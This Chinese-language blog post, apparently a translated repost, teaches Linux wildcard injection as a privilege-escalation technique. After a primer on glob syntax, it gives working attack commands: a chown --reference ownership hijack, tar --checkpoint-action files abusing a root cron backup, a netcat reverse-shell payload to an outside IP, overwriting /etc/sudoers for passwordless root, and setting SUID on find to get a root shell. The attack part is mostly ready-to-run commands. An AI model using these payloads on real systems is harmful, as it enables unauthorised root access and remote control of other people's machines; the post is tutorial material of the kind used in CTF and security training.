美文网首页
命令执行之Linux Shell中的通配符注入

命令执行之Linux Shell中的通配符注入

作者: jjf012 | 来源:发表于2019-06-14 10:36 被阅读0次

    通配符注入(Wildcard Injection)是一有趣的老式Unix黑客技术。
    个人感觉,就是用“特殊的文件名”来辅助执行命令。

    通配符

    字符 含义 实例
    * 匹配 0 或多个字符 a*b a与b之间可以有任意长度的任意字符, 也可以一个也没有, 如aabcb, axyzb, a012b, ab
    ? 匹配任意一个字符 a?b a与b之间必须也只能有一个字符, 可以是任意字符, 如aab, abb, acb, a0b
    [list] 匹配list中的任意单一字符 a[xyz]b a与b之间必须也只能有一个字符, 但只能是 x 或 y 或 z, 如: axb, ayb, azb。
    [^list] 匹配除list中的任意单一字符 a[^0-9]b a与b之间必须也只能有一个字符, 但不能是阿拉伯数字, 如axb, aab, a-b。
    [c1-c2] 匹配c1-c2中的任意单一字符如:[0-9] [a-z] a[0-9]b 0与9之间必须也只能有一个字符,如a0b, a1b... a9b。
    {string1,string2,...} 匹配sring1或string2(或更多)其中一字符串 a{abc,xyz,123}b a与b之间只能是abc或xyz或123这三个字符串之一。

    []的特殊例子

    []:匹配范围
    [^]:排除匹配范围
    [:alnum:]:所有字母和数字
    [:alpha:]:所有字母
    [:digit:]:所有数字
    [:lower:]:所有小写字母
    [:upper:]:所有大写字母
    [:blank:]:空白字符和TAB制表符
    [:space:]:包括空白字符、TAB制表符(\t)、换页(\f)
    [:cntrl:]:所有控制字符
    [:graph:]:可打印并可看到的字符。空格是可打印的,但是不是可看到的。
    [:print:]:所有可打印字符
    [:punct:]:所有标点符号,非字母、数字、控制字符和space字符。
    [:xdigit:]:十六进制数的字符。

    特殊变量
    IFS 分隔符,<space><tab><enter>三者之一组成(我们常用space)。
    CR 由<enter>产生。

    简单的实例1

    首先建立3个文件,各自写入了一行内容

    cd /Desktop
    mkdir wild
    cd wild
    echo "Hello Friends" > file1
    echo "This is Wildcard Injection" > file2
    echo "take help" > --help
    

    之后用cat命令查看这些文件

    cat file1
    cat file 2
    cat --help
    

    前两个是不会有异常的,但是在尝试读取--help这个文件的时候,显示的不是take help,而是从自己的库中调用自己的-help选项,这种类型的技巧称为Wildcard wildness

    通过Chown劫持文件所有者

    利用chown命令可以改变文件的所有者,一般用户没有普通权限更改别人文件的所有者,除了root。

    超级管理员用户 (root) – 执行chown命令。
    非root用户1(raj) – 执行普通任务,如创建文件
    非root用户2(aarti) – 执行普通任务,如创建文件
    恶意用户(Ignite) – 注入chown命令
    在下图中你可以看到,所有PHP文件的所有者均为raj用户。

    chown有个参数--reference,作用如下,
    With --reference, change the owner and group of each FILE to those of RFILE.“克隆”参考文件的权限到你指定的文件或目录上。

    cd
    ls -al
    echo "" > my.php
    echo > --reference=my.php
    

    当root用户使用通配符*修改所有PHP文件所有权时,ignite用户将取得所有文件间接所有权。

    chown -R aarti:aarti *.php
    ls -al
    

    tar命令的利用

    创建一些文件,然后用crontab命令定时备份

    nano /etc/crontab
    */1 *   * * *   root tar -zcf /var/backups/html.tgz /var/www/html/*
    

    crontab和tar通配符注入

    假设现在以一个普通用户的身份登陆终端,尝试提权到root。然后cat /etc/crontab查看计划任务。

    本机用msfvenom生成一个netcat反弹语句
    msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.102 lport=8888 R
    然后复制到ssh中,cd到要打包的目录中

    echo "mkfifo /tmp/lhennp; nc 192.168.1.102 8888 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
    echo "" > "--checkpoint-action=exec=sh shell.sh"
    echo "" > --checkpoint=1
    

    可以先执行tar cf archive.tar *看看触发的效果,crontab中的tar是root权限运行的,所以就等着反弹root会话吧。

    --checkpoint[=NUM​​BER] (翻译起来绕口) 按百分几显示处理进度?
    --checkpoint-action = ACTION 在每个检查点上执行指定的操作

    有错误的第二个例子

    原作者是这样子的

    cd /tmp
    mkdir data
    chmod 777 data
    cd data
    echo "" > f1
    echo "" > f2
    echo "" > f3
    

    在其他目录中编写一个bash脚本,tar打包/tmp/data

    mkdir info
    cd info
    nano script.sh
    chmod 777 script.sh
    

    注意,这个shell的内容是这样的

    #!/bin/bash
    cd /tmp/data
    tar cf /backup/backup.tgz *
    

    手动执行这个脚本就会发现,根本不会自动切换到/tmp/data目录。

    这是因为shell在执行脚本时,会创建一个子shell,并在子shell中逐个执行脚本中的指令。 在子shell中已经切换了目录了,但是子shell一旦执行完,马上退出,子shell中的变量和操作全部都收回。回到终端根本就看不到这个过程的变化

    解决办法

    执行source c.sh,这时候就是直接在终端的shell执行脚本了,没有生成子shell,执行的结果就是输出历史命令,并且切换了目录。
    每次都要输入source是一件烦琐的事情,其实source命令又叫点命令,所以执行. ./c.sh是一样的效果,注意:.和.中间有个空格!

    tar+crontab+sudoers

    就是用crontab改了sudoers文件的内容

    echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > demo.sh
    echo "" > "--checkpoint-action=exec=sh demo.sh"
    echo "" > --checkpoint=1
    tar cf archive.tar *
    

    tar+crontab+suid

    图略,就是用crontab改变文件的suid实现提权

    echo "chmod u+s /usr/bin/find" > test.sh
    echo "" > "--checkpoint-action=exec=sh test.sh"
    echo "" > --checkpoint=1
    tar cf archive.tar *
    ls -al /usr/bin/find
    find f1 -exec "whoami" \;
    root
    find f1 -exec "/bin/sh" \;
    id
    whoami
    

    在ctf中的利用

    看完上面的通配符注入,再看看这个,p神博客写的无字母数字webshell之提高篇

    觉得看不够的话还可以接着看下面这两个

    【CTF 攻略】如何绕过四个字符限制getshell
    https://www.anquanke.com/post/id/87203
    命令注入突破长度限制
    https://www.freebuf.com/articles/web/154453.html

    注意,代码不能随便乱插,否则就被审核了
    原文:https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/

    相关文章

      网友评论

          本文标题:命令执行之Linux Shell中的通配符注入

          本文链接:https://www.haomeiwen.com/subject/bskufctx.html